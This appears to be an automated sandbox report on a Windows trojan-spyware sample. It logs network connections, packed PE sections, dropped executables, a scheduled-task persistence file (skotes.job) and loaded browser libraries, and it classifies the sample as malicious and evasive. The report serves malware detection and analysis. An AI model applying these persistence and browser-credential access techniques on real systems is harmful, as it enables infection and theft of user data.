Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021

Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.6:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.6:49964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50123 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: DocumentsAEBGHDBKEB.exe.0.dr	Static PE information: section name:
Source: DocumentsAEBGHDBKEB.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsAEBGHDBKEB.exe.0.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata
Source: skotes.exe.22.dr	Static PE information: section name:
Source: random[1].exe.28.dr	Static PE information: section name:
Source: random[1].exe.28.dr	Static PE information: section name: .rsrc
Source: random[1].exe.28.dr	Static PE information: section name: .idata
Source: random[1].exe.28.dr	Static PE information: section name:
Source: d32823a5a7.exe.28.dr	Static PE information: section name:
Source: d32823a5a7.exe.28.dr	Static PE information: section name: .rsrc
Source: d32823a5a7.exe.28.dr	Static PE information: section name: .idata
Source: d32823a5a7.exe.28.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C9DB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C9DB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C9DB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C97F280

Source: C:\Users\user\DocumentsAEBGHDBKEB.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9735A0	0_2_6C9735A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C986C80	0_2_6C986C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D34A0	0_2_6C9D34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DC4A0	0_2_6C9DC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99D4D0	0_2_6C99D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9864C0	0_2_6C9864C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B6CF0	0_2_6C9B6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97D4E0	0_2_6C97D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B5C10	0_2_6C9B5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C2C10	0_2_6C9C2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9EAC00	0_2_6C9EAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E542B	0_2_6C9E542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E545C	0_2_6C9E545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C985440	0_2_6C985440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B0DD0	0_2_6C9B0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D85F0	0_2_6C9D85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A0512	0_2_6C9A0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99ED10	0_2_6C99ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98FD00	0_2_6C98FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C995E90	0_2_6C995E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DE680	0_2_6C9DE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D4EA0	0_2_6C9D4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97BEF0	0_2_6C97BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98FEF0	0_2_6C98FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E76E3	0_2_6C9E76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B7E10	0_2_6C9B7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C5600	0_2_6C9C5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D9E30	0_2_6C9D9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C999E50	0_2_6C999E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B3E50	0_2_6C9B3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C2E4E	0_2_6C9C2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C994640	0_2_6C994640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97C670	0_2_6C97C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E6E63	0_2_6C9E6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C77A0	0_2_6C9C77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A6FF0	0_2_6C9A6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97DFE0	0_2_6C97DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B7710	0_2_6C9B7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C989F00	0_2_6C989F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A60A0	0_2_6C9A60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E50C7	0_2_6C9E50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99C0E0	0_2_6C99C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B58E0	0_2_6C9B58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C987810	0_2_6C987810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB820	0_2_6C9BB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C4820	0_2_6C9C4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C998850	0_2_6C998850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99D850	0_2_6C99D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BF070	0_2_6C9BF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B5190	0_2_6C9B5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D2990	0_2_6C9D2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AD9B0	0_2_6C9AD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97C9A0	0_2_6C97C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99A940	0_2_6C99A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CB970	0_2_6C9CB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9EB170	0_2_6C9EB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98D960	0_2_6C98D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9EBA90	0_2_6C9EBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98CAB0	0_2_6C98CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E2AB0	0_2_6C9E2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9722A0	0_2_6C9722A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A4AA0	0_2_6C9A4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B8AC0	0_2_6C9B8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C991AF0	0_2_6C991AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BE2F0	0_2_6C9BE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B9A60	0_2_6C9B9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97F380	0_2_6C97F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E53C8	0_2_6C9E53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BD320	0_2_6C9BD320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C975340	0_2_6C975340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98C370	0_2_6C98C370
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_002FE530	28_2_002FE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00338860	28_2_00338860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00337049	28_2_00337049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_003378BB	28_2_003378BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00332D10	28_2_00332D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_003331A8	28_2_003331A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_002F4DE0	28_2_002F4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00327F36	28_2_00327F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_002F4B30	28_2_002F4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0033779B	28_2_0033779B

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C9B94D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C9ACBE8 appears 134 times

Source: file.exe, 00000000.00000002.2801406599.000000006CBF5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: tcefzapw ZLIB complexity 0.994760372124742
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982810371253406
Source: random[1].exe.0.dr	Static PE information: Section: durrfrps ZLIB complexity 0.9942241020006063
Source: DocumentsAEBGHDBKEB.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982810371253406
Source: DocumentsAEBGHDBKEB.exe.0.dr	Static PE information: Section: durrfrps ZLIB complexity 0.9942241020006063
Source: skotes.exe.22.dr	Static PE information: Section: ZLIB complexity 0.9982810371253406
Source: skotes.exe.22.dr	Static PE information: Section: durrfrps ZLIB complexity 0.9942241020006063
Source: random[1].exe.28.dr	Static PE information: Section: snkouwyn ZLIB complexity 0.994672140205092
Source: d32823a5a7.exe.28.dr	Static PE information: Section: snkouwyn ZLIB complexity 0.994672140205092

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@78/296@26/29

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9D7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C9D7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\IA95Y14Q.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8820:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\f002861e-584a-4a97-9256-01e3373a0b2f.tmp

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Family,VirtualizationFirmwareEnabled FROM Win32_Processor

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2791219477.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762452350.000000001D377000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2800096274.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2791219477.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2762452350.000000001D377000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2800096274.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
